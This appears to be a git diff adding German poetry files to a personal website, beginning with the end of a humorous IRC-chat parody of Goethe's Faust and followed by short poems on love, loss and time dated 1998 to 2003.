6 | <PRE> | ||
7 | <erdgeist> Faust: wat'n? | ||
8 | <FAUST> *abwend* du siehst ja krass aus | ||
9 | <erdgeist> Faust: wie? erst nervste die ganze Zeit, und denn? | ||
10 | <FAUST> erdgeist: sorry, du bist mir aber grad zu krass | ||
11 | <erdgeist> Faust: eh, die ganze Zeit SMSen, Mails und so, | ||
12 | nur dass ich mich mal blicken lasse, | ||
13 | dann lass ich mich erweichen, | ||
14 | komm hier extra vorbei und denn guckste.. | ||
15 | wat isn passiert? | ||
16 | * Hans left channel 0 | ||
17 | <erdgeist> Faust: Haste da nicht eben noch rumgetoent, | ||
18 | M0n574-1337 h4x0r zu sein? Und wolltest's mir zeigen? | ||
19 | Und wo issa nu, der krasse Faust, der mich unbedingt | ||
20 | sehn wollte? Ich seh hier nur'n feiges Scriptkiddie | ||
21 | <FAUST> erdgeist: Nu komm abba mal, bloss weilde hier mit | ||
22 | War-scripts auftauchst, hau ich noch lange nicht ab! | ||
23 | <erdgeist> Ist ja nicht so, dass ich nix zu tun hab, | ||
24 | ich back da mal wieder ne frische Welt und der Kernel | ||
25 | ist auch mal wieder faellig und Heise hab ich auch | ||
26 | noch nicht durch... | ||
27 | <FAUST> Man, du bist aber beschaeftigt. Kann ich nicht bei dir | ||
28 | joinen? Man, wir haben doch total viel gemeinsam... | ||
29 | <erdgeist> Eh wat? Geh mit deine wareztradaz spieln und nerv nich! | ||
30 | ich mach mich dann mal vom Acker... bye | ||
31 | * erdgeist left channel 0 | ||
32 | * erdgeist left the chat | ||
33 | <FAUST> *sigh* warez traden... | ||
34 | * Nobody hears you | ||
35 | </PRE> | ||
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@@ -0,0 +1,26 @@ | |||
1 | <!-- | ||
2 | .. title: Verloren | ||
3 | .. date: 2001/07/02 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Engel verschwinden nicht einfach so aus Leben.<br/> | ||
8 | Und dieser Engel, den ich liebgewann,<br/> | ||
9 | als er mich vor dem Stumpfsinn bewahrte,<br/> | ||
10 | dieser Engel entzieht sich nun langsam,<br/> | ||
11 | kaum merklich fast, mit mir unbekanntem Ziel.<br/> | ||
12 | Mag sein, um woanders Gutes zu tun,<br/> | ||
13 | mag sein, seiner selbst willen,<br/> | ||
14 | mag sein, meinetwegen.<br/> | ||
15 | Und die Frage, die sich zweifellos aufdraengt,<br/> | ||
16 | und auf die ich wohl nicht unvoreingenommen,<br/> | ||
17 | weil immer noch vom heiligen Schein geblendet,<br/> | ||
18 | antworten kann, muss wohl ungefaehr so lauten.<br/> | ||
19 | Sollte man sich in den Weg stellen<br/> | ||
20 | oder beim Starten helfen.<br/> | ||
21 | Sollte man auf einen Engel Ruecksicht nehmen,<br/> | ||
22 | oder wozu ist er denn da?<br/> | ||
23 | Am Besten ist, man schliesst das Maerchenbuch,<br/> | ||
24 | gesteht sich die verdraengten Fehlbarkeiten ein,<br/> | ||
25 | denkt noch einmal ueber sich selbst nach,<br/> | ||
26 | nennt es Liebe und erklaert sich zum Verlierer. | ||
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@@ -0,0 +1,20 @@ | |||
1 | <!-- | ||
2 | .. title: Wasted | ||
3 | .. date: 2003/06/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | zwei seelen verwandt<br/> | ||
8 | an einsamem ort<br/> | ||
9 | als licht nur verband<br/> | ||
10 | gemeinsames wort<br/> | ||
11 | |||
12 | die naechte allein<br/> | ||
13 | an tagen getraeumt<br/> | ||
14 | in taumelndem schein<br/> | ||
15 | die jugend versaeumt<br/> | ||
16 | |||
17 | zwei seelen so nah<br/> | ||
18 | vorbei nur am glueck<br/> | ||
19 | verschenkten sich da<br/> | ||
20 | ein leben zurueck<br/> | ||
diff --git a/stories/poetry/wille.md b/stories/poetry/wille.md new file mode 100644 index 0000000..78b5974 --- /dev/null +++ b/stories/poetry/wille.md | |||
@@ -0,0 +1,28 @@ | |||
1 | <!-- | ||
2 | .. title: (erdgeist IV) Wille | ||
3 | .. date: 2002/12/04 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Wilder Wille beeindruckt den,<br/> | ||
8 | der so Vieles schon erlebte<br/> | ||
9 | und so Trauriges,<br/> | ||
10 | der ganze Zivilisationen kommen<br/> | ||
11 | und gehen hat sehen muessen,<br/> | ||
12 | Einzelne und Viele auf ihrer<br/> | ||
13 | immer gleichen Suche auf den<br/> | ||
14 | immer gleichen Pfaden in einer<br/> | ||
15 | immer gleichen Welt nach den<br/> | ||
16 | immer gleichen Freiheiten,<br/> | ||
17 | doch! Wilder Wille beeindruckt<br/> | ||
18 | den immer noch. Weil er<br/> | ||
19 | erinnert wird an die alten<br/> | ||
20 | Tage, an die grossen Schlachten,<br/> | ||
21 | Tragoedien und das grosse und<br/> | ||
22 | kleine Elend. Und den Kampf<br/> | ||
23 | dagegen und das immer wieder<br/> | ||
24 | und wiederkehrende aufeinander<br/> | ||
25 | und einander Treffen, bei dem<br/> | ||
26 | doch am Ende nur einer gewinnt.<br/> | ||
27 | Als Lichtschein in einer sonst<br/> | ||
28 | monotonen Zeit. | ||
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@@ -0,0 +1,35 @@ | |||
1 | <!-- | ||
2 | .. title: Wortzahl: 84 | ||
3 | .. date: 1998/06/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Neue Epochen beginnen<br/> | ||
8 | An jedem Tag<br/> | ||
9 | Für jeden Einzelnen.<br/> | ||
10 | In bessere Zeiten<br/> | ||
11 | Führt es mich<br/> | ||
12 | Mit edleren Zielen<br/> | ||
13 | Sowie größeren Taten,<br/> | ||
14 | Noch mehr Gefühlen,<br/> | ||
15 | Nie geahnten Wegen.<br/> | ||
16 | Zeigt mir dort<br/> | ||
17 | Meine eigene Welt.<br/> | ||
18 | Doch wenn nicht<br/> | ||
19 | Bin ich tot -<br/> | ||
20 | Oder zumindest fast -<br/> | ||
21 | Einer von Ihnen<br/> | ||
22 | Auf keinen Fall<br/> | ||
23 | Anders als Jene,<br/> | ||
24 | Die wir verachteten<br/> | ||
25 | Nur aufgrund dessen,<br/> | ||
26 | Daß sie sind,<br/> | ||
27 | Was nun scheinbar<br/> | ||
28 | Aus euch wird,<br/> | ||
29 | Und welche uns<br/> | ||
30 | Dafür wiederum haßten,<br/> | ||
31 | Denen ihr jetzt<br/> | ||
32 | Ohne zu fragen<br/> | ||
33 | Ins Verderben folgt.<br/> | ||
34 | <br/> | ||
35 | Gehst du auch? | ||
diff --git a/stories/poetry/zeitlos.md b/stories/poetry/zeitlos.md new file mode 100644 index 0000000..342a8e1 --- /dev/null +++ b/stories/poetry/zeitlos.md | |||
@@ -0,0 +1,18 @@ | |||
1 | <!-- | ||
2 | .. title: Zeitlos | ||
3 | .. date: 2001/01/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Mein Leben zieht nur noch links und rechts<br/> | ||
8 | an mir vorbei.<br/> | ||
9 | Sekunden, Minuten, Stunden versinken vor Scham ueber ihre Bedeutungslosigkeit<br/> | ||
10 | in der Bedeutungslosigkeit.<br/> | ||
11 | Tage gleiten wortlos ineinander ueber, als haetten sie<br/> | ||
12 | die Naechte vergessen.<br/> | ||
13 | Wochen gewoehnen sich daran, als eine zaehe Masse<br/> | ||
14 | traege dahinzufliessen<br/> | ||
15 | und im Einheitsgrau der Monate unaufhaltsam<br/> | ||
16 | Jahre zu altern.<br/> | ||
17 | Es scheint, als waere die Zeit aus meinem Leben<br/> | ||
18 | einfach so ausgezogen.<br/> | ||
diff --git a/stories/poetry/zynismus.md b/stories/poetry/zynismus.md new file mode 100644 index 0000000..d68a5f0 --- /dev/null +++ b/stories/poetry/zynismus.md | |||
@@ -0,0 +1,36 @@ | |||
1 | <!-- | ||
2 | .. title: Zynismus | ||
3 | .. date: 2001/06/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Wundervoll ist die Welt<br/> | ||
8 | und zynisch ihre Kommentatoren.<br/> | ||
9 | Und wer immer dich jemals gesehen hat,<br/> | ||
10 | wird mir beipflichten muessen.<br/> | ||
11 | |||
12 | Denn eine Welt, die dein Laecheln<br/> | ||
13 | und den Zauber deiner Seele<br/> | ||
14 | hervorgebracht hat, kann so schlecht<br/> | ||
15 | ganz gewiss nicht sein.<br/> | ||
16 | |||
17 | Aber eine Welt, die mir dein Laecheln<br/> | ||
18 | und deine ewige Praesenz vorenthaelt<br/> | ||
19 | und mich allein zuruecklaesst,<br/> | ||
20 | mit dem Rest von ihr, kann so schoen<br/> | ||
21 | ganz gewiss nicht sein.<br/> | ||
22 | |||
23 | Und ich, der ich verlange, dein Laecheln<br/> | ||
24 | und den Glanz, den du verstroemst,<br/> | ||
25 | nur fuer mich allein zu haben, und dich<br/> | ||
26 | der Welt vorzuenthalten und ihr das<br/> | ||
27 | Wertvollste zu stehlen, kann so gerecht<br/> | ||
28 | ganz gewiss nicht sein.<br/> | ||
29 | |||
30 | Nur du, die du von alledem unwissend<br/> | ||
31 | einfach nur du bist und dein Laecheln<br/> | ||
32 | und dich selbst der ganzen Welt schenkst<br/> | ||
33 | und dich doch nie vereinnahmen laesst,<br/> | ||
34 | hoer bitte nicht auf meine Worte!<br/> | ||
35 | Aber so zynisch wie ich wirst du<br/> | ||
36 | ganz gewiss nicht sein. | ||